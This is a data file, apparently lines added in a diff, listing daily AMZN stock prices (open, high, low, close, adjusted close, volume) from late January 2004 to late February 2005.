+2004-01-29,52.040000915527344,52.060001373291016,48.599998474121094,49.220001220703125,49.220001220703125,22485100,AMZN
+2004-01-30,49.4900016784668,51.369998931884766,49.29999923706055,50.400001525878906,50.400001525878906,11404500,AMZN
+2004-02-02,50.650001525878906,50.650001525878906,47.95000076293945,48.27000045776367,48.27000045776367,11588900,AMZN
+2004-02-03,48.189998626708984,48.279998779296875,44.52000045776367,44.939998626708984,44.939998626708984,27071400,AMZN
+2004-02-04,44.810001373291016,45.90999984741211,44.29999923706055,45.38999938964844,45.38999938964844,21600700,AMZN
+2004-02-05,46.029998779296875,47.09000015258789,45.900001525878906,46.040000915527344,46.040000915527344,13189500,AMZN
+2004-02-06,46.11000061035156,46.72999954223633,45.5099983215332,46.349998474121094,46.349998474121094,6508100,AMZN
+2004-02-09,46.75,46.79999923706055,45.70000076293945,45.86000061035156,45.86000061035156,6146100,AMZN
+2004-02-10,45.849998474121094,46.25,45.5099983215332,45.59000015258789,45.59000015258789,4949000,AMZN
+2004-02-11,45.86000061035156,47.36000061035156,45.540000915527344,47.13999938964844,47.13999938964844,7881700,AMZN
+2004-02-12,46.93000030517578,48.099998474121094,46.709999084472656,47.060001373291016,47.060001373291016,6757200,AMZN
+2004-02-13,47.290000915527344,47.70000076293945,46.2400016784668,46.380001068115234,46.380001068115234,5431700,AMZN
+2004-02-17,46.13999938964844,46.45000076293945,44.79999923706055,45.529998779296875,45.529998779296875,11038200,AMZN
+2004-02-18,45.36000061035156,45.369998931884766,44.63999938964844,44.869998931884766,44.869998931884766,7953500,AMZN
+2004-02-19,45.150001525878906,46.15999984741211,44.650001525878906,44.650001525878906,44.650001525878906,7442500,AMZN
+2004-02-20,44.79999923706055,45.380001068115234,44.72999954223633,45.16999816894531,45.16999816894531,7475300,AMZN
+2004-02-23,45.18000030517578,45.25,43.349998474121094,43.970001220703125,43.970001220703125,9341900,AMZN
+2004-02-24,43.91999816894531,43.939998626708984,42.22999954223633,42.31999969482422,42.31999969482422,11095300,AMZN
+2004-02-25,42.5,43.290000915527344,42.5,42.939998626708984,42.939998626708984,7152800,AMZN
+2004-02-26,43.20000076293945,43.849998474121094,43.0,43.650001525878906,43.650001525878906,5960300,AMZN
+2004-02-27,43.56999969482422,43.599998474121094,42.52000045776367,43.0099983215332,43.0099983215332,7163600,AMZN
+2004-03-01,43.02000045776367,43.47999954223633,42.58000183105469,42.970001220703125,42.970001220703125,4959500,AMZN
+2004-03-02,42.72999954223633,43.4900016784668,41.86000061035156,42.0099983215332,42.0099983215332,6966600,AMZN
+2004-03-03,41.86000061035156,43.380001068115234,41.650001525878906,43.16999816894531,43.16999816894531,9601600,AMZN
+2004-03-04,43.119998931884766,44.470001220703125,43.099998474121094,44.38999938964844,44.38999938964844,7380100,AMZN
+2004-03-05,43.790000915527344,44.83000183105469,43.529998779296875,44.09000015258789,44.09000015258789,6426500,AMZN
+2004-03-08,43.959999084472656,45.060001373291016,43.130001068115234,43.5,43.5,6608500,AMZN
+2004-03-09,43.41999816894531,43.88999938964844,42.27000045776367,42.709999084472656,42.709999084472656,6593100,AMZN
+2004-03-10,42.720001220703125,43.20000076293945,41.459999084472656,41.54999923706055,41.54999923706055,6932700,AMZN
+2004-03-11,41.09000015258789,42.369998931884766,41.040000915527344,41.279998779296875,41.279998779296875,7042600,AMZN
+2004-03-12,41.349998474121094,42.61000061035156,41.29999923706055,42.439998626708984,42.439998626708984,6223800,AMZN
+2004-03-15,42.2599983215332,42.79999923706055,40.91999816894531,41.08000183105469,41.08000183105469,6612200,AMZN
+2004-03-16,41.290000915527344,42.36000061035156,41.2599983215332,42.130001068115234,42.130001068115234,6218200,AMZN
+2004-03-17,43.040000915527344,43.45000076293945,42.59000015258789,42.79999923706055,42.79999923706055,5107300,AMZN
+2004-03-18,42.529998779296875,43.20000076293945,42.209999084472656,43.0099983215332,43.0099983215332,5724300,AMZN
+2004-03-19,43.029998779296875,43.75,42.630001068115234,42.79999923706055,42.79999923706055,5754900,AMZN
+2004-03-22,41.75,41.849998474121094,40.5099983215332,40.849998474121094,40.849998474121094,8975100,AMZN
+2004-03-23,41.31999969482422,41.7400016784668,39.849998474121094,40.22999954223633,40.22999954223633,11225700,AMZN
+2004-03-24,40.310001373291016,40.380001068115234,39.150001525878906,39.630001068115234,39.630001068115234,7875900,AMZN
+2004-03-25,40.0,42.20000076293945,40.0,41.9900016784668,41.9900016784668,7112700,AMZN
+2004-03-26,42.0099983215332,42.4900016784668,41.290000915527344,41.70000076293945,41.70000076293945,5740400,AMZN
+2004-03-29,41.970001220703125,42.79999923706055,41.970001220703125,42.7599983215332,42.7599983215332,5561000,AMZN
+2004-03-30,42.709999084472656,43.93000030517578,42.560001373291016,43.79999923706055,43.79999923706055,5452900,AMZN
+2004-03-31,43.849998474121094,44.0,42.95000076293945,43.279998779296875,43.279998779296875,4674900,AMZN
+2004-04-01,43.45000076293945,44.84000015258789,43.29999923706055,44.7400016784668,44.7400016784668,6508500,AMZN
+2004-04-02,46.0,46.25,45.25,46.09000015258789,46.09000015258789,8148100,AMZN
+2004-04-05,45.66999816894531,47.09000015258789,45.59000015258789,46.959999084472656,46.959999084472656,5939100,AMZN
+2004-04-06,46.310001373291016,46.970001220703125,45.75,46.439998626708984,46.439998626708984,5916300,AMZN
+2004-04-07,46.20000076293945,46.79999923706055,45.38999938964844,45.849998474121094,45.849998474121094,4550600,AMZN
+2004-04-08,47.84000015258789,48.150001525878906,47.0,48.099998474121094,48.099998474121094,8879700,AMZN
+2004-04-12,48.15999984741211,48.369998931884766,47.56999969482422,47.959999084472656,47.959999084472656,4345900,AMZN
+2004-04-13,47.9900016784668,48.34000015258789,46.36000061035156,46.58000183105469,46.58000183105469,5724400,AMZN
+2004-04-14,46.08000183105469,47.65999984741211,45.97999954223633,46.790000915527344,46.790000915527344,6144100,AMZN
+2004-04-15,46.97999954223633,47.599998474121094,46.0,46.9900016784668,46.9900016784668,5603500,AMZN
+2004-04-16,47.04999923706055,47.099998474121094,45.33000183105469,45.5,45.5,8393500,AMZN
+2004-04-19,45.349998474121094,47.27000045776367,45.119998931884766,47.11000061035156,47.11000061035156,5352500,AMZN
+2004-04-20,47.65999984741211,47.810001373291016,45.18000030517578,45.20000076293945,45.20000076293945,9376100,AMZN
+2004-04-21,45.20000076293945,46.4900016784668,44.90999984741211,45.720001220703125,45.720001220703125,6054200,AMZN
+2004-04-22,45.95000076293945,49.099998474121094,45.88999938964844,48.86000061035156,48.86000061035156,15798200,AMZN
+2004-04-23,46.0,46.88999938964844,45.5099983215332,46.290000915527344,46.290000915527344,14599400,AMZN
+2004-04-26,46.33000183105469,47.7599983215332,46.150001525878906,47.25,47.25,7314200,AMZN
+2004-04-27,47.59000015258789,48.79999923706055,46.790000915527344,48.0,48.0,8983700,AMZN
+2004-04-28,47.619998931884766,48.349998474121094,46.63999938964844,46.970001220703125,46.970001220703125,6127600,AMZN
+2004-04-29,46.900001525878906,47.08000183105469,45.5099983215332,46.189998626708984,46.189998626708984,9035700,AMZN
+2004-04-30,46.060001373291016,46.349998474121094,43.310001373291016,43.599998474121094,43.599998474121094,9841300,AMZN
+2004-05-03,43.47999954223633,45.150001525878906,43.40999984741211,44.40999984741211,44.40999984741211,6923400,AMZN
+2004-05-04,44.40999984741211,44.56999969482422,43.70000076293945,43.95000076293945,43.95000076293945,7288900,AMZN
+2004-05-05,43.97999954223633,45.04999923706055,43.95000076293945,44.2599983215332,44.2599983215332,4890500,AMZN
+2004-05-06,43.59000015258789,44.25,42.77000045776367,43.13999938964844,43.13999938964844,7818400,AMZN
+2004-05-07,42.959999084472656,44.18000030517578,41.68000030517578,41.900001525878906,41.900001525878906,9292600,AMZN
+2004-05-10,41.22999954223633,42.150001525878906,40.56999969482422,41.2599983215332,41.2599983215332,10209000,AMZN
+2004-05-11,41.91999816894531,43.040000915527344,41.900001525878906,42.70000076293945,42.70000076293945,7595600,AMZN
+2004-05-12,42.34000015258789,43.150001525878906,41.25,43.02000045776367,43.02000045776367,7486200,AMZN
+2004-05-13,42.459999084472656,44.130001068115234,42.25,43.61000061035156,43.61000061035156,8261200,AMZN
+2004-05-14,43.70000076293945,43.91999816894531,42.7599983215332,43.04999923706055,43.04999923706055,5126600,AMZN
+2004-05-17,42.2400016784668,42.59000015258789,41.70000076293945,42.08000183105469,42.08000183105469,6625700,AMZN
+2004-05-18,42.20000076293945,42.400001525878906,41.83000183105469,41.9900016784668,41.9900016784668,5602000,AMZN
+2004-05-19,42.380001068115234,43.27000045776367,41.470001220703125,41.689998626708984,41.689998626708984,7379400,AMZN
+2004-05-20,41.650001525878906,41.970001220703125,40.79999923706055,40.97999954223633,40.97999954223633,5926300,AMZN
+2004-05-21,41.27000045776367,41.47999954223633,40.54999923706055,41.16999816894531,41.16999816894531,5272900,AMZN
+2004-05-24,41.290000915527344,42.29999923706055,41.16999816894531,41.630001068115234,41.630001068115234,5073900,AMZN
+2004-05-25,41.75,43.86000061035156,41.38999938964844,43.619998931884766,43.619998931884766,7222000,AMZN
+2004-05-26,43.86000061035156,45.0,43.66999816894531,44.689998626708984,44.689998626708984,7397600,AMZN
+2004-05-27,45.27000045776367,47.83000183105469,44.849998474121094,47.619998931884766,47.619998931884766,14175200,AMZN
+2004-05-28,47.27000045776367,48.68000030517578,46.880001068115234,48.5,48.5,10629100,AMZN
+2004-06-01,47.869998931884766,50.45000076293945,47.70000076293945,50.22999954223633,50.22999954223633,12940300,AMZN
+2004-06-02,50.4900016784668,51.209999084472656,49.77000045776367,50.349998474121094,50.349998474121094,12473500,AMZN
+2004-06-03,49.849998474121094,50.349998474121094,49.31999969482422,49.400001525878906,49.400001525878906,8341400,AMZN
+2004-06-04,50.04999923706055,51.5099983215332,50.0,50.95000076293945,50.95000076293945,12585600,AMZN
+2004-06-07,51.689998626708984,51.9900016784668,50.650001525878906,51.7599983215332,51.7599983215332,7688000,AMZN
+2004-06-08,51.29999923706055,52.119998931884766,51.099998474121094,51.939998626708984,51.939998626708984,5994700,AMZN
+2004-06-09,51.619998931884766,51.83000183105469,50.0099983215332,50.2400016784668,50.2400016784668,6579400,AMZN
+2004-06-10,50.400001525878906,50.470001220703125,49.2599983215332,49.939998626708984,49.939998626708984,7209000,AMZN
+2004-06-14,49.34000015258789,49.9900016784668,49.040000915527344,49.25,49.25,5180900,AMZN
+2004-06-15,49.709999084472656,50.599998474121094,49.4900016784668,50.11000061035156,50.11000061035156,6912500,AMZN
+2004-06-16,50.09000015258789,50.75,49.90999984741211,50.56999969482422,50.56999969482422,4097600,AMZN
+2004-06-17,50.5099983215332,50.90999984741211,49.40999984741211,49.77000045776367,49.77000045776367,5875500,AMZN
+2004-06-18,49.439998626708984,50.279998779296875,49.400001525878906,49.599998474121094,49.599998474121094,4416700,AMZN
+2004-06-21,49.45000076293945,50.29999923706055,49.25,49.77000045776367,49.77000045776367,4490300,AMZN
+2004-06-22,49.66999816894531,49.790000915527344,48.2400016784668,49.0,49.0,8120500,AMZN
+2004-06-23,48.77000045776367,51.0,48.349998474121094,50.810001373291016,50.810001373291016,7594700,AMZN
+2004-06-24,51.0,51.939998626708984,50.689998626708984,51.02000045776367,51.02000045776367,6760100,AMZN
+2004-06-25,51.04999923706055,51.93000030517578,50.869998931884766,51.79999923706055,51.79999923706055,6998100,AMZN
+2004-06-28,52.380001068115234,54.040000915527344,52.20000076293945,53.38999938964844,53.38999938964844,11503900,AMZN
+2004-06-29,53.220001220703125,53.939998626708984,52.650001525878906,53.709999084472656,53.709999084472656,8589400,AMZN
+2004-06-30,53.61000061035156,54.70000076293945,53.41999816894531,54.400001525878906,54.400001525878906,6899100,AMZN
+2004-07-01,53.79999923706055,54.040000915527344,52.04999923706055,52.560001373291016,52.560001373291016,7211900,AMZN
+2004-07-02,52.619998931884766,53.2400016784668,51.83000183105469,52.59000015258789,52.59000015258789,4862400,AMZN
+2004-07-06,52.54999923706055,52.599998474121094,50.4900016784668,51.2400016784668,51.2400016784668,6156900,AMZN
+2004-07-07,50.790000915527344,52.029998779296875,50.2400016784668,51.0,51.0,6515600,AMZN
+2004-07-08,48.5099983215332,49.970001220703125,48.470001220703125,49.5,49.5,10033900,AMZN
+2004-07-09,49.869998931884766,50.0,47.81999969482422,48.31999969482422,48.31999969482422,8033500,AMZN
+2004-07-12,48.220001220703125,49.349998474121094,48.029998779296875,49.04999923706055,49.04999923706055,7066900,AMZN
+2004-07-13,49.11000061035156,49.97999954223633,48.869998931884766,49.599998474121094,49.599998474121094,4908800,AMZN
+2004-07-14,48.95000076293945,50.400001525878906,48.88999938964844,49.5,49.5,5065600,AMZN
+2004-07-15,49.5099983215332,49.66999816894531,48.119998931884766,48.66999816894531,48.66999816894531,5244100,AMZN
+2004-07-16,48.9900016784668,49.060001373291016,46.779998779296875,47.099998474121094,47.099998474121094,9286900,AMZN
+2004-07-19,47.2599983215332,47.2599983215332,45.150001525878906,46.02000045776367,46.02000045776367,9847100,AMZN
+2004-07-20,46.13999938964844,47.849998474121094,46.119998931884766,46.9900016784668,46.9900016784668,7626300,AMZN
+2004-07-21,47.31999969482422,47.599998474121094,44.52000045776367,44.7599983215332,44.7599983215332,9336500,AMZN
+2004-07-22,43.709999084472656,46.06999969482422,43.63999938964844,45.81999969482422,45.81999969482422,16391000,AMZN
+2004-07-23,42.470001220703125,42.7599983215332,39.560001373291016,39.97999954223633,39.97999954223633,35927200,AMZN
+2004-07-26,40.22999954223633,40.2400016784668,38.33000183105469,38.779998779296875,38.779998779296875,13972400,AMZN
+2004-07-27,39.20000076293945,39.90999984741211,38.79999923706055,39.11000061035156,39.11000061035156,10534900,AMZN
+2004-07-28,39.290000915527344,39.56999969482422,37.380001068115234,37.970001220703125,37.970001220703125,10183600,AMZN
+2004-07-29,38.310001373291016,38.959999084472656,38.02000045776367,38.58000183105469,38.58000183105469,8200000,AMZN
+2004-07-30,38.5,39.41999816894531,38.22999954223633,38.91999816894531,38.91999816894531,6031500,AMZN
+2004-08-02,38.45000076293945,38.7599983215332,37.810001373291016,38.29999923706055,38.29999923706055,5912200,AMZN
+2004-08-03,38.31999969482422,39.08000183105469,37.22999954223633,37.61000061035156,37.61000061035156,7785600,AMZN
+2004-08-04,36.81999969482422,37.459999084472656,36.400001525878906,37.119998931884766,37.119998931884766,9765600,AMZN
+2004-08-05,37.40999984741211,37.47999954223633,35.380001068115234,35.61000061035156,35.61000061035156,8402400,AMZN
+2004-08-06,35.25,36.66999816894531,34.849998474121094,35.4900016784668,35.4900016784668,11513100,AMZN
+2004-08-09,35.34000015258789,36.29999923706055,34.849998474121094,35.31999969482422,35.31999969482422,9167200,AMZN
+2004-08-10,35.689998626708984,37.20000076293945,35.54999923706055,37.099998474121094,37.099998474121094,10070400,AMZN
+2004-08-11,36.400001525878906,36.900001525878906,35.599998474121094,36.560001373291016,36.560001373291016,9448100,AMZN
+2004-08-12,36.25,37.349998474121094,36.16999816894531,36.290000915527344,36.290000915527344,9118100,AMZN
+2004-08-13,36.560001373291016,37.0,35.869998931884766,36.130001068115234,36.130001068115234,4981100,AMZN
+2004-08-16,36.13999938964844,38.400001525878906,35.97999954223633,37.95000076293945,37.95000076293945,8164300,AMZN
+2004-08-17,38.56999969482422,39.439998626708984,37.900001525878906,38.22999954223633,38.22999954223633,11163000,AMZN
+2004-08-18,37.91999816894531,39.540000915527344,37.41999816894531,39.36000061035156,39.36000061035156,9549800,AMZN
+2004-08-19,40.2599983215332,40.47999954223633,36.349998474121094,38.630001068115234,38.630001068115234,12696100,AMZN
+2004-08-20,38.459999084472656,39.90999984741211,38.11000061035156,39.5099983215332,39.5099983215332,6790800,AMZN
+2004-08-23,39.88999938964844,40.0,39.11000061035156,39.45000076293945,39.45000076293945,5532600,AMZN
+2004-08-24,39.720001220703125,39.93000030517578,38.31999969482422,39.04999923706055,39.04999923706055,7640400,AMZN
+2004-08-25,39.060001373291016,40.4900016784668,38.15999984741211,40.29999923706055,40.29999923706055,7254800,AMZN
+2004-08-26,40.18000030517578,40.83000183105469,39.70000076293945,40.189998626708984,40.189998626708984,6971700,AMZN
+2004-08-27,40.31999969482422,40.38999938964844,39.599998474121094,39.900001525878906,39.900001525878906,4240400,AMZN
+2004-08-30,39.880001068115234,39.95000076293945,38.25,38.310001373291016,38.310001373291016,7711500,AMZN
+2004-08-31,38.380001068115234,38.849998474121094,37.86000061035156,38.13999938964844,38.13999938964844,6143200,AMZN
+2004-09-01,38.22999954223633,39.0099983215332,38.02000045776367,38.2400016784668,38.2400016784668,5252500,AMZN
+2004-09-02,38.040000915527344,39.63999938964844,37.90999984741211,39.18000030517578,39.18000030517578,5722300,AMZN
+2004-09-03,39.0099983215332,40.0099983215332,38.63999938964844,38.7400016784668,38.7400016784668,5228900,AMZN
+2004-09-07,39.150001525878906,39.36000061035156,38.11000061035156,38.5099983215332,38.5099983215332,5833000,AMZN
+2004-09-08,38.4900016784668,38.810001373291016,37.709999084472656,38.0099983215332,38.0099983215332,6611300,AMZN
+2004-09-09,38.2400016784668,38.310001373291016,37.36000061035156,38.06999969482422,38.06999969482422,6956700,AMZN
+2004-09-10,38.130001068115234,38.79999923706055,37.900001525878906,38.56999969482422,38.56999969482422,4634500,AMZN
+2004-09-13,39.130001068115234,40.040000915527344,38.81999969482422,40.0099983215332,40.0099983215332,8065200,AMZN
+2004-09-14,40.20000076293945,42.75,39.900001525878906,42.66999816894531,42.66999816894531,15872100,AMZN
+2004-09-15,42.04999923706055,43.18000030517578,41.869998931884766,42.209999084472656,42.209999084472656,11135800,AMZN
+2004-09-16,42.38999938964844,44.279998779296875,42.349998474121094,42.56999969482422,42.56999969482422,11596600,AMZN
+2004-09-17,42.849998474121094,43.2599983215332,42.38999938964844,42.959999084472656,42.959999084472656,7884200,AMZN
+2004-09-20,42.709999084472656,43.9900016784668,42.61000061035156,43.27000045776367,43.27000045776367,9222400,AMZN
+2004-09-21,43.56999969482422,43.77000045776367,42.77000045776367,43.290000915527344,43.290000915527344,6695500,AMZN
+2004-09-22,43.150001525878906,43.2400016784668,41.16999816894531,41.380001068115234,41.380001068115234,12216800,AMZN
+2004-09-23,41.33000183105469,42.20000076293945,41.11000061035156,41.83000183105469,41.83000183105469,7411000,AMZN
+2004-09-24,41.810001373291016,41.90999984741211,40.849998474121094,40.939998626708984,40.939998626708984,6205700,AMZN
+2004-09-27,40.90999984741211,41.0099983215332,39.75,39.93000030517578,39.93000030517578,8397400,AMZN
+2004-09-28,40.150001525878906,40.33000183105469,38.970001220703125,39.43000030517578,39.43000030517578,11902900,AMZN
+2004-09-29,39.45000076293945,40.91999816894531,39.36000061035156,40.84000015258789,40.84000015258789,9918800,AMZN
+2004-09-30,40.54999923706055,41.279998779296875,40.209999084472656,40.86000061035156,40.86000061035156,9413300,AMZN
+2004-10-01,41.290000915527344,41.29999923706055,40.38999938964844,40.470001220703125,40.470001220703125,11268900,AMZN
+2004-10-04,41.36000061035156,41.68000030517578,40.7400016784668,41.0099983215332,41.0099983215332,8792600,AMZN
+2004-10-05,40.84000015258789,41.25,40.56999969482422,40.959999084472656,40.959999084472656,5134000,AMZN
+2004-10-06,40.72999954223633,41.40999984741211,40.400001525878906,41.36000061035156,41.36000061035156,5128100,AMZN
+2004-10-07,41.41999816894531,42.70000076293945,40.849998474121094,41.150001525878906,41.150001525878906,9394400,AMZN
+2004-10-08,40.939998626708984,41.189998626708984,39.630001068115234,40.0,40.0,8546200,AMZN
+2004-10-11,39.83000183105469,40.75,39.40999984741211,40.150001525878906,40.150001525878906,7928300,AMZN
+2004-10-12,39.54999923706055,40.58000183105469,39.470001220703125,40.220001220703125,40.220001220703125,6421000,AMZN
+2004-10-13,41.41999816894531,41.54999923706055,39.75,39.97999954223633,39.97999954223633,9220200,AMZN
+2004-10-14,39.45000076293945,39.54999923706055,38.72999954223633,39.099998474121094,39.099998474121094,9026200,AMZN
+2004-10-15,39.290000915527344,39.66999816894531,37.880001068115234,38.54999923706055,38.54999923706055,8205600,AMZN
+2004-10-18,38.22999954223633,39.470001220703125,37.88999938964844,39.27000045776367,39.27000045776367,8093200,AMZN
+2004-10-19,39.7400016784668,39.849998474121094,38.16999816894531,38.33000183105469,38.33000183105469,8802600,AMZN
+2004-10-20,38.11000061035156,38.59000015258789,37.790000915527344,38.349998474121094,38.349998474121094,6798500,AMZN
+2004-10-21,39.29999923706055,40.189998626708984,38.5,39.470001220703125,39.470001220703125,19217100,AMZN
+2004-10-22,36.220001220703125,36.79999923706055,33.0,34.599998474121094,34.599998474121094,33544300,AMZN
+2004-10-25,34.0,34.40999984741211,33.720001220703125,33.970001220703125,33.970001220703125,10531800,AMZN
+2004-10-26,34.150001525878906,34.2599983215332,33.5099983215332,33.83000183105469,33.83000183105469,9742500,AMZN
+2004-10-27,33.630001068115234,34.630001068115234,33.619998931884766,34.22999954223633,34.22999954223633,9060700,AMZN
+2004-10-28,34.2400016784668,34.77000045776367,34.13999938964844,34.45000076293945,34.45000076293945,7220600,AMZN
+2004-10-29,34.36000061035156,34.45000076293945,34.0,34.130001068115234,34.130001068115234,6491600,AMZN
+2004-11-01,34.220001220703125,35.150001525878906,34.150001525878906,35.099998474121094,35.099998474121094,6181300,AMZN
+2004-11-02,35.4900016784668,36.4900016784668,35.13999938964844,36.2400016784668,36.2400016784668,11332500,AMZN
+2004-11-03,37.18000030517578,37.619998931884766,35.560001373291016,35.91999816894531,35.91999816894531,10208200,AMZN
+2004-11-04,35.70000076293945,37.290000915527344,35.52000045776367,36.90999984741211,36.90999984741211,7600300,AMZN
+2004-11-05,37.29999923706055,37.38999938964844,36.02000045776367,36.560001373291016,36.560001373291016,7399100,AMZN
+2004-11-08,36.75,37.58000183105469,36.720001220703125,37.31999969482422,37.31999969482422,6886500,AMZN
+2004-11-09,37.18000030517578,37.810001373291016,36.70000076293945,37.400001525878906,37.400001525878906,6479900,AMZN
+2004-11-10,38.0,38.84000015258789,37.83000183105469,38.09000015258789,38.09000015258789,10655200,AMZN
+2004-11-11,38.09000015258789,39.0,37.63999938964844,38.83000183105469,38.83000183105469,6835000,AMZN
+2004-11-12,39.04999923706055,40.939998626708984,39.0,40.459999084472656,40.459999084472656,11596000,AMZN
+2004-11-15,40.459999084472656,41.5,40.18000030517578,40.88999938964844,40.88999938964844,10366200,AMZN
+2004-11-16,40.5,40.65999984741211,39.75,40.06999969482422,40.06999969482422,6401300,AMZN
+2004-11-17,40.400001525878906,40.59000015258789,39.540000915527344,39.900001525878906,39.900001525878906,6843600,AMZN
+2004-11-18,39.72999954223633,40.959999084472656,39.59000015258789,40.369998931884766,40.369998931884766,6806800,AMZN
+2004-11-19,39.150001525878906,39.439998626708984,38.189998626708984,38.54999923706055,38.54999923706055,11427500,AMZN
+2004-11-22,38.439998626708984,38.529998779296875,37.58000183105469,38.04999923706055,38.04999923706055,8868600,AMZN
+2004-11-23,38.18000030517578,39.68000030517578,38.029998779296875,38.310001373291016,38.310001373291016,7405600,AMZN
+2004-11-24,38.869998931884766,39.15999984741211,38.099998474121094,38.75,38.75,5940900,AMZN
+2004-11-26,38.95000076293945,39.34000015258789,38.88999938964844,39.09000015258789,39.09000015258789,2337700,AMZN
+2004-11-29,39.599998474121094,39.619998931884766,37.709999084472656,38.939998626708984,38.939998626708984,9874100,AMZN
+2004-11-30,38.970001220703125,39.79999923706055,38.95000076293945,39.68000030517578,39.68000030517578,7028600,AMZN
+2004-12-01,40.0,40.0,39.25,39.97999954223633,39.97999954223633,7756000,AMZN
+2004-12-02,39.63999938964844,40.7400016784668,39.279998779296875,40.16999816894531,40.16999816894531,6600900,AMZN
+2004-12-03,40.36000061035156,40.459999084472656,39.540000915527344,40.09000015258789,40.09000015258789,8247700,AMZN
+2004-12-06,39.72999954223633,39.97999954223633,39.150001525878906,39.4900016784668,39.4900016784668,6088000,AMZN
+2004-12-07,39.45000076293945,39.75,38.04999923706055,38.20000076293945,38.20000076293945,7093400,AMZN
+2004-12-08,38.31999969482422,39.099998474121094,37.9900016784668,38.720001220703125,38.720001220703125,6421700,AMZN
+2004-12-09,38.400001525878906,39.95000076293945,38.16999816894531,39.81999969482422,39.81999969482422,7446700,AMZN
+2004-12-10,39.540000915527344,40.099998474121094,39.0,39.04999923706055,39.04999923706055,5510700,AMZN
+2004-12-13,39.33000183105469,40.279998779296875,38.81999969482422,39.83000183105469,39.83000183105469,6052100,AMZN
+2004-12-14,40.150001525878906,40.470001220703125,39.939998626708984,40.439998626708984,40.439998626708984,5251500,AMZN
+2004-12-15,40.34000015258789,41.0,40.209999084472656,41.0,41.0,6674200,AMZN
+2004-12-16,40.86000061035156,41.0,39.709999084472656,40.04999923706055,40.04999923706055,5414900,AMZN
+2004-12-17,40.15999984741211,40.220001220703125,39.869998931884766,40.0099983215332,40.0099983215332,5486000,AMZN
+2004-12-20,39.93000030517578,40.4900016784668,38.810001373291016,38.95000076293945,38.95000076293945,7215700,AMZN
+2004-12-21,38.84000015258789,39.41999816894531,38.63999938964844,39.38999938964844,39.38999938964844,5229400,AMZN
+2004-12-22,38.61000061035156,39.59000015258789,38.54999923706055,39.52000045776367,39.52000045776367,5276300,AMZN
+2004-12-23,39.34000015258789,39.52000045776367,38.91999816894531,38.93000030517578,38.93000030517578,3206800,AMZN
+2004-12-27,39.52000045776367,42.93000030517578,39.470001220703125,42.25,42.25,22289200,AMZN
+2004-12-28,43.900001525878906,45.119998931884766,43.5,44.630001068115234,44.630001068115234,25237800,AMZN
+2004-12-29,44.75,45.68000030517578,44.439998626708984,44.81999969482422,44.81999969482422,11759200,AMZN
+2004-12-30,45.0,45.529998779296875,44.54999923706055,44.970001220703125,44.970001220703125,6965900,AMZN
+2004-12-31,45.130001068115234,45.4900016784668,44.15999984741211,44.290000915527344,44.290000915527344,4790700,AMZN
+2005-01-03,44.95000076293945,45.439998626708984,44.209999084472656,44.52000045776367,44.52000045776367,10446500,AMZN
+2005-01-04,42.66999816894531,43.2599983215332,41.5,42.13999938964844,42.13999938964844,19418500,AMZN
+2005-01-05,41.56999969482422,42.7599983215332,41.560001373291016,41.77000045776367,41.77000045776367,8354200,AMZN
+2005-01-06,41.810001373291016,42.25,40.900001525878906,41.04999923706055,41.04999923706055,8700900,AMZN
+2005-01-07,41.380001068115234,42.689998626708984,41.15999984741211,42.31999969482422,42.31999969482422,9836600,AMZN
+2005-01-10,41.939998626708984,42.959999084472656,41.709999084472656,41.84000015258789,41.84000015258789,7347900,AMZN
+2005-01-11,41.400001525878906,42.15999984741211,41.0099983215332,41.63999938964844,41.63999938964844,7920300,AMZN
+2005-01-12,41.4900016784668,42.47999954223633,40.81999969482422,42.29999923706055,42.29999923706055,8072300,AMZN
+2005-01-13,42.45000076293945,44.58000183105469,42.34000015258789,42.599998474121094,42.599998474121094,17393600,AMZN
+2005-01-14,42.900001525878906,44.65999984741211,42.36000061035156,44.54999923706055,44.54999923706055,12533000,AMZN
+2005-01-18,44.290000915527344,45.0,44.150001525878906,44.58000183105469,44.58000183105469,7131600,AMZN
+2005-01-19,44.470001220703125,44.7400016784668,43.43000030517578,43.959999084472656,43.959999084472656,7396700,AMZN
+2005-01-20,41.709999084472656,43.959999084472656,41.63999938964844,42.36000061035156,42.36000061035156,12830600,AMZN
+2005-01-21,41.9900016784668,42.54999923706055,41.02000045776367,41.15999984741211,41.15999984741211,10602700,AMZN
+2005-01-24,41.439998626708984,41.95000076293945,40.310001373291016,40.380001068115234,40.380001068115234,9695900,AMZN
+2005-01-25,40.63999938964844,41.439998626708984,40.45000076293945,40.939998626708984,40.939998626708984,9027900,AMZN
+2005-01-26,41.18000030517578,41.79999923706055,40.2599983215332,41.34000015258789,41.34000015258789,7714900,AMZN
+2005-01-27,41.27000045776367,42.400001525878906,41.13999938964844,42.310001373291016,42.310001373291016,8038400,AMZN
+2005-01-28,42.09000015258789,43.0,41.529998779296875,42.220001220703125,42.220001220703125,6152400,AMZN
+2005-01-31,42.439998626708984,43.41999816894531,42.43000030517578,43.220001220703125,43.220001220703125,6320300,AMZN
+2005-02-01,43.0,43.27000045776367,42.380001068115234,42.47999954223633,42.47999954223633,6761500,AMZN
+2005-02-02,43.04999923706055,43.540000915527344,40.86000061035156,41.880001068115234,41.880001068115234,26323600,AMZN
+2005-02-03,34.900001525878906,35.88999938964844,34.529998779296875,35.75,35.75,60518600,AMZN
+2005-02-04,35.650001525878906,35.97999954223633,35.189998626708984,35.720001220703125,35.720001220703125,17304700,AMZN
+2005-02-07,35.81999969482422,35.84000015258789,35.54999923706055,35.689998626708984,35.689998626708984,7112400,AMZN
+2005-02-08,35.540000915527344,36.52000045776367,35.529998779296875,36.29999923706055,36.29999923706055,9602500,AMZN
+2005-02-09,36.45000076293945,36.79999923706055,35.869998931884766,35.88999938964844,35.88999938964844,7938800,AMZN
+2005-02-10,36.06999969482422,36.11000061035156,35.529998779296875,35.779998779296875,35.779998779296875,7982400,AMZN
+2005-02-11,35.56999969482422,35.95000076293945,35.0,35.779998779296875,35.779998779296875,7841700,AMZN
+2005-02-14,35.650001525878906,36.630001068115234,35.5,36.029998779296875,36.029998779296875,6983100,AMZN
+2005-02-15,36.209999084472656,36.45000076293945,35.75,36.13999938964844,36.13999938964844,5177700,AMZN
+2005-02-16,35.93000030517578,36.349998474121094,35.58000183105469,35.65999984741211,35.65999984741211,5229800,AMZN
+2005-02-17,35.7400016784668,35.849998474121094,35.25,35.689998626708984,35.689998626708984,5298100,AMZN
+2005-02-18,35.61000061035156,35.75,35.099998474121094,35.310001373291016,35.310001373291016,4529700,AMZN
+2005-02-22,35.02000045776367,35.38999938964844,34.5099983215332,34.720001220703125,34.720001220703125,6855700,AMZN
+2005-02-23,34.95000076293945,34.970001220703125,33.20000076293945,34.13999938964844,34.13999938964844,10500400,AMZN
